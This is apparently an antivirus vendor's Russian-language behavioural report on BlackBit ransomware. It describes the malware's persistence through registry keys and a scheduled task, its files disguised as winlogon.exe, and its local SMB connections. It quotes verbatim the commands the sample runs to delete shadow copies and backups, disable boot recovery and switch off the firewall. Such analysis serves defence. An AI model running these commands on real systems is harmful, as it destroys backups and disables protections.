Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKLM>\Software\Classes\BlackBit\shell\open\command] '' = '%ALLUSERSPROFILE%\t0juq2wl.exe "%l" '
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\winlogon.exe
- %APPDATA%\microsoft\windows\start menu\programs\startup\wvtymcow.bat
- <SYSTEM32>\tasks\blackbit
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Системный антивирус (Защитник Windows)
удаляет теневые копии разделов.
Запускает на исполнение
- '%WINDIR%\syswow64\netsh.exe' firewall set opmode mode=disable
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\winlogon.exe
- %ALLUSERSPROFILE%\winlogon.exe
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\winlogon.exe
- %WINDIR%\winlogon.exe
- %TEMP%\oeul1u4h.ico
- %TEMP%\1s1yqnsf.0.cs
- %TEMP%\1s1yqnsf.cmdline
- %TEMP%\1s1yqnsf.out
- %ALLUSERSPROFILE%\cscae14ee745f64488e9c82ee48f9dd896.tmp
- %TEMP%\res849.tmp
- %ALLUSERSPROFILE%\t0juq2wl.exe
- %ALLUSERSPROFILE%\info.blackbit
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\winlogon.exe
- %ALLUSERSPROFILE%\winlogon.exe
- %WINDIR%\winlogon.exe
- %ALLUSERSPROFILE%\t0juq2wl.exe
Удаляет следующие файлы
- %TEMP%\res849.tmp
- %ALLUSERSPROFILE%\cscae14ee745f64488e9c82ee48f9dd896.tmp
- %TEMP%\1s1yqnsf.out
- %TEMP%\1s1yqnsf.0.cs
- %TEMP%\1s1yqnsf.cmdline
Сетевая активность
Подключается к
- '<LOCALNET>.48.1':445
- '<LOCALNET>.48.1':139
UDP
- 'localhost':64125
- 'localhost':50698
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /C schtasks /CREATE /SC ONLOGON /TN BlackBit /TR %APPDATA%\winlogon.exe /RU SYSTEM /RL HIGHEST /F' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\1s1yqnsf.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES849.tmp" "%ALLUSERSPROFILE%\CSCAE14EE745F64488E9C82EE48F9DD896.TMP"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /C wbadmin DELETE SYSTEMSTATEBACKUP' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /C wmic shadowcopy delete' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /C wbadmin delete catalog -quiet' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} recoveryenabled no' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /C netsh advfirewall set currentprofile state off' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /C netsh firewall set opmode mode=disable' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /C schtasks /CREATE /SC ONLOGON /TN BlackBit /TR %APPDATA%\winlogon.exe /RU SYSTEM /RL HIGHEST /F
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /SC ONLOGON /TN BlackBit /TR %APPDATA%\winlogon.exe /RU SYSTEM /RL HIGHEST /F
- '%WINDIR%\microsoft.net\framework\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\1s1yqnsf.cmdline"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES849.tmp" "%ALLUSERSPROFILE%\CSCAE14EE745F64488E9C82EE48F9DD896.TMP"
- '%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet
- '%WINDIR%\syswow64\cmd.exe' /C wbadmin DELETE SYSTEMSTATEBACKUP
- '%WINDIR%\syswow64\cmd.exe' /C wmic shadowcopy delete
- '%WINDIR%\syswow64\cmd.exe' /C wbadmin delete catalog -quiet
- '%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
- '%WINDIR%\syswow64\cmd.exe' /C bcdedit /set {default} recoveryenabled no
- '%WINDIR%\syswow64\cmd.exe' /C netsh advfirewall set currentprofile state off
- '%WINDIR%\syswow64\cmd.exe' /C netsh firewall set opmode mode=disable
- '%WINDIR%\syswow64\netsh.exe' advfirewall set currentprofile state off
